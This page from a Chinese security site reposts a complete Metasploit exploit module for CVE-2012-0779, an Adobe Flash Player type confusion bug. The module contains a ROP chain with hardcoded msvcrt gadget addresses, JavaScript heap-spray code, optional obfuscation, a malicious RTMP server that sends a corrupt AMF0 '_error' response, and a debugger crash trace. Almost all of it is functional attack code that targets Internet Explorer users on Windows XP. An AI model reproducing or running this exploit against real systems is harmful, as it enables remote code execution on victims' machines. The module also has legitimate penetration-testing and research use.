首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Adobe Flash Player Object Type Confusion
来源:http://www.metasploit.com 作者:sinn3r 发布时间:2012-06-25  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Remote::BrowserAutopwn

  autopwn_info({
    :os_name    => OperatingSystems::WINDOWS,
    :ua_name    => HttpClients::IE,
    :ua_minver  => "6.0",
    :ua_maxver  => "8.0",
    :method     => "GetVariable",
    :classid    => "ShockwaveFlash.ShockwaveFlash",
    :rank       => NormalRanking, # reliable memory corruption
    :javascript => true
  })

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Adobe Flash Player Object Type Confusion",
      'Description'    => %q{
        This module exploits a vulnerability found in Adobe Flash
        Player.  By supplying a corrupt AMF0 "_error" response, it
        is possible to gain arbitrary remote code execution under
        the context of the user.

        This vulnerability has been exploited in the wild as part of
        the "World Uyghur Congress Invitation.doc" e-mail attack.
        According to the advisory, 10.3.183.19 and 11.x before
        11.2.202.235 are affected.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'sinn3r', # Metasploit module
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2012-0779' ],
          [ 'OSVDB', '81656'],
          [ 'BID', '53395' ],
          [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-09.html'], # Patch info
          [ 'URL', 'http://contagiodump.blogspot.com.es/2012/05/may-3-cve-2012-0779-world-uyghur.html' ]
        ],
      'Payload'        =>
        {
          #'Space'    => 1024,
          'BadChars' => "\x00"
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Flash Player 11.2.202.228
          [ 'Automatic', {} ],
          [
            'IE 6 on Windows XP SP3',
            {
              'Rop'    => nil,
              'RandomHeap' => false,
              'Offset' => '0x0'
            }
          ],
          [
            'IE 7 on Windows XP SP3',
            {
              'Rop'    => nil,
              'RandomHeap' => false,
              'Offset' => '0x0'
            }
          ],
          [
            'IE 8 on Windows XP SP3 with msvcrt ROP',
            {
              'Rop' => :msvcrt,
              'RandomHeap' => false,
              'Offset' => '238',
              'StackPivot' => 0x77c12100, # add esp, edx # retn 77 # from msvcrt.dll
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "May 04 2012",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),
        OptAddress.new('RTMPHOST', [ true, "The local host to RTMP service listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]),
        OptPort.new('RTMPPORT',    [ true, "The local port to RTMP service listen on.", 1935 ]),
      ], self.class
    )

  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
      return targets[1]  #IE 6 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
      return targets[2]  #IE 7 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
      return targets[3]  #IE 8 on Windows XP SP3
    else
      return nil
    end
  end

  def junk(n=4)
    return rand_text_alpha(n).unpack("V").first
  end

  def nop
    return make_nops(4).unpack("V").first
  end

  def ret(t)
    return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
  end

  def popret(t)
    return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll
  end

  def get_rop_chain(t)

    # ROP chains generated by mona.py - See corelan.be
    print_status("Using msvcrt ROP")
    rop =
      [
        0x77c4e392,  # POP EAX # RETN
        0x77c11120,  # <- *&VirtualProtect()
        0x77c2e493,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
        junk,
        0x77c2dd6c,
        0x77c4ec00,  # POP EBP # RETN
        0x77c35459,  # ptr to 'push esp #  ret'
        0x77c47705,  # POP EBX # RETN
        0x00001000,  # EBX
        0x77c3ea01,  # POP ECX # RETN
        0x77c5d000,  # W pointer (lpOldProtect) (-> ecx)
        0x77c46100,  # POP EDI # RETN
        0x77c46101,  # ROP NOP (-> edi)
        0x77c4d680,  # POP EDX # RETN
        0x00000040,  # newProtect (0x40) (-> edx)
        0x77c4e392,  # POP EAX # RETN
        nop,         # NOPS (-> eax)
        0x77c12df9,  # PUSHAD # RETN
      ].pack("V*")

    code = ret(t)
    code << rand_text(119)
    code << rop
    code << "\xbc\x0c\x0c\x0c\x0c" #mov esp,0c0c0c0c ; my way of saying 'f you' to the problem
    code << payload.encoded
    offset = 2616 - code.length
    code << rand_text(offset)
    code << [ t['StackPivot'] ].pack("V")
    return code
  end

  def get_easy_spray(t, js_code, js_nops)

    spray = <<-JS
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var nops = unescape("#{js_nops}");

    while (nops.length < 0x80000) nops += nops;

    var offset = nops.substring(0, #{t['Offset']});
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);


    heap_obj.gc();
    for (var z=1; z < 0x185; z++) {
      heap_obj.alloc(block);
    }

    JS

    return spray

  end


  def get_aligned_spray(t, js_rop, js_nops)

    spray = <<-JS

    var heap_obj = new heapLib.ie(0x20000);
    var nops = unescape("#{js_nops}");
    var rop_chain = unescape("#{js_rop}");

    while (nops.length < 0x80000) nops += nops;

    var offset = nops.substring(0, #{t['Offset']});
    var shellcode = offset + rop_chain + nops.substring(0, 0x800-offset.length-rop_chain.length);


    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);


    heap_obj.gc();
    for (var z=1; z < 0x1c5; z++) {
      heap_obj.alloc(block);
    }

    JS

    return spray

  end

  def exploit
    @swf = create_swf

    # Boilerplate required to handled pivoted listeners
    comm = datastore['ListenerComm']
    if comm == "local"
      comm = ::Rex::Socket::Comm::Local
    else
      comm = nil
    end

    @rtmp_listener = Rex::Socket::TcpServer.create(
      'LocalHost' => datastore['RTMPHOST'],
      'LocalPort' => datastore['RTMPPORT'],
      'Comm'      => comm,
      'Context'   => {
        'Msf'        => framework,
        'MsfExploit' => self,
      }  
    )
        
    # Register callbacks
    @rtmp_listener.on_client_connect_proc = Proc.new { |cli|
      add_socket(cli)
      print_status("#{cli.peerhost.ljust(16)} #{self.shortname} - Connected to RTMP")
      on_rtmp_connect(cli)
    }

    @rtmp_listener.start

    super
  end

  def my_read(cli,size,timeout=nil)
    if timeout.nil?
      timeout = cli.def_read_timeout
    end

    buf = ""
    ::Timeout::timeout(timeout) {
      while buf.length < size
      buf << cli.get_once(size - buf.length)
      end
    }
    buf
  end

  def do_handshake(cli)
    c0 = my_read(cli, 1)
    c1 = my_read(cli, 1536) # HandshakeSize => 1536
    s0 = "\3" # s0
    s1 = Rex::Text.rand_text(4) # s1.time
    s1 << "\x00\x00\x00\x00" # s1.zero
    s1 << Rex::Text.rand_text(1528) # s1.random_data
    s2 = c1 # s2
    cli.put(s0)
    cli.put(s1)
    cli.put(s2)
    c2 = my_read(cli, 1536) # C2 (HandshakeSize => 1536)
  end

  def on_rtmp_connect(cli)

    begin
      do_handshake(cli)
      request = my_read(cli, 341) # connect request length

      case request
      when /connect/
        rtmp_header = "\x03" # Chunk Stream ID
        rtmp_header << "\x00\x00\x00" # Timestamp
        rtmp_header << "\x00\x00\x71" # Body Size
        rtmp_header << "\x14" # AMF0 Command
        rtmp_header << "\x00\x00\x00\x00" # Stream ID

        # String
        rtmp_body = "\x02" # String
        rtmp_body << "\x00\x06" # String length
        rtmp_body << "\x5f\x65\x72\x72\x6f\x72" # String: _error
        # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << "\x40\x00\x00\x00\x00\x00\x00\x00" # Number
        # Array
        rtmp_body << "\x0a" # AMF Type: Array
        rtmp_body << "\x00\x00\x00\x05" # Array length: 5
        # Array elements
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
        # Crafter Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x0c\x0c\x0c\x0c" # Modify the "\x0c\x0c\x0c\x0c" to do an arbitrary call
        # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
        # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
        # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
        # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") +  "\x00\x00\x00\x00" # Number

        trigger = rtmp_header
        trigger << rtmp_body

        cli.put(trigger)
        @rtmp_listener.close_client(cli)
      end
    rescue
    ensure
      @rtmp_listener.close_client(cli)
      remove_socket(cli)
    end

  end

  def cleanup
    super
    return if not @rtmp_listener
    
    begin
      @rtmp_listener.deref if @rtmp_listener.kind_of?(Rex::Service)
      if @rtmp_listener.kind_of?(Rex::Socket)
        @rtmp_listener.close
        @rtmp_listener.stop
      end
      @rtmp_listener = nil
    rescue ::Exception
    end
  end

  def on_request_uri(cli, request)

    agent = request.headers['User-Agent']
    my_target = get_target(agent)

    # Avoid the attack if the victim doesn't have the same setup we're targeting
    if my_target.nil?
      print_error("Browser not supported: #{agent}")
      send_not_found(cli)
      return
    end

    print_status("Client requesting: #{request.uri}")

    if request.uri =~ /\.swf$/
      print_status("Sending Exploit SWF")
      send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })
      return
    end

    p = payload.encoded
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))

    if not my_target['Rop'].nil?
      js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
      js = get_aligned_spray(my_target, js_rop, js_nops)
    else
      js = get_easy_spray(my_target, js_code, js_nops)
    end

    js = heaplib(js, {:noobfu => true})

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate
    end

    swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
    swf_uri << "/#{rand_text_alpha(rand(6)+3)}.swf"

    if datastore['RTMPHOST'] == '0.0.0.0'
      rtmp_host = Rex::Socket.source_address('1.2.3.4')
    else
      rtmp_host = datastore['RTMPHOST']
    end

    rtmp_port = datastore['RTMPPORT']

    html = %Q|
    <html>
    <head>
    <script>
    #{js}
    </script>
    </head>
    <body>
    <center>
    <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
    id="test" width="1" height="1"
    codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
    <param name="movie" value="#{swf_uri}" />
    <param name="FlashVars" value="var1=#{rtmp_host}&var2=#{rtmp_port}"
    <embed src="#{swf_uri}" quality="high"
    width="1" height="1" name="test" align="middle"
    allowNetworking="all"
    type="application/x-shockwave-flash"
    pluginspage="http://www.macromedia.com/go/getflashplayer"
    FlashVars="var1=#{rtmp_host}&var2=#{rtmp_port}">
    </embed>

    </object>
    </center>

    </body>
    </html>
    |

    html = html.gsub(/^\t\t/, '')

    print_status("Sending html")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end

  def create_swf
    path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0779.swf" )
    fd = ::File.open( path, "rb" )
    swf = fd.read(fd.stat.size)
    fd.close

    return swf
  end

end

=begin

* Flash Player 11.2.202.228

(348.540): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000
eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050202
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c          mov     eax,dword ptr [edx+2Ch]
ds:0023:44444470=????????

0:000> u eip
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c          mov     eax,dword ptr [edx+2Ch]
104b1b30 53              push    ebx
104b1b31 ffd0            call    eax

=end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Qutecom (Cross-platform, open
·Apple iTunes 10 Extended M3U S
·URL Hunter buffer overflow DEP
·Kingview Touchview 6.53 EIP Ov
·Apple iTunes <= 10.6.1.7 Exten
·Kingview Touchview 6.53 Multip
·Lattice Diamond Programmer 1.4
·Slimpdf Reader 1.0 Memory Corr
·Adobe Flash Player AVM Verific
·Able2Extract and Able2Extract
·Sysax 5.62 Admin Interface Loc
·Able2Doc and Able2Doc Professi
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved